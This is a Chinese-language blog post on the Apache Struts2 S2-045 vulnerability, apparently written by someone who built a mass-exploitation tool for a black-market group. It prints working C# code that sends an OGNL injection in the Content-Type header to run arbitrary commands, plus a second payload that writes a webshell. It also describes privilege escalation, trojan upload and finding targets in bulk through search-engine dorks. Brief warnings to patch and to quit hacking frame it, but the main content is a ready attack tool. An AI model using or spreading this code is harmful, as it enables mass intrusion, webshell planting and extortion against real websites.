s2-045 java_注意！Struts2 S2-045漏洞被利用

用Struts2的网站赶紧升级修复漏洞；另外高手们不要搞别人网站，以免被查水表。

S2-045漏洞已经爆发几天了，但还很多网址都存在此漏洞，很多金融类网站也收到了保护费通知、唉，收保护费少，报警无效！只能酌情处理了！做黑产的，还是少做为秒，常在河边站哪有不湿鞋，劝各位早日金盆洗手！

至于漏洞原理我就不多讲了！为啥？？？ 因为我也没研究，我也不懂！！！

有工作室找我写了一个批量shell的工具，我只是简单的放出一部分代码。使用的C#

public static string ExecuteStruts2(string url,string cookie,string cmd)

{

ServicePointManager.SecurityProtocol = SecurityProtocolType.Ssl3;

HttpWebRequest request = null;

try

{

request = (HttpWebRequest)WebRequest.Create(url);

request.Method = "GET";

request.AllowAutoRedirect = false;

if (!string.IsNullOrEmpty(cookie)) {

request.Headers.Add("Cookie",cookie);

}

request.ContentType = "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"+cmd+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}";

request.UserAgent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36";

request.Timeout = 50000;

request.ServicePoint.ConnectionLimit = 500;

HttpWebResponse response = (HttpWebResponse)request.GetResponse();

string result = "";

string encoding = "gb2312";

if (!string.IsNullOrEmpty(response.CharacterSet)) {

encoding = response.CharacterSet;

}

Stream myResponseStream = response.GetResponseStream();

StreamReader myStreamReader = new StreamReader(myResponseStream, Encoding.GetEncoding(encoding));

result = myStreamReader.ReadToEnd();

myStreamReader.Close();

myResponseStream.Close();

response.Close();

request.Abort();

return result;

}

catch(Exception ex)

{

request.Abort();

return "执行错误："+ex.Message;

}

}

这个是执行命令的，比如创建用户，提权，然后可以远程或者传马

还可以上传webshell，只要把ContentType修改成：

%{(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#luan='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#path=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest').getSession().getServletContext().getRealPath('"+path+ "')).(#shell='我是shell').(new java.io.BufferedWriter(new java.io.FileWriter(#path+'/shell文件名').append(#shell)).close()).(#cmd='echo path:'+#path).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

还有其他玩法可以自行修改。然后就是inurl:****.action，然后爬搜索引擎，抓url，批量检测，批量上传shell。

有用struts2的赶紧看看最近几天有没有生成的jsp,jspx等的新文件吧，至于修复，网上很多办法，还有第三方工具等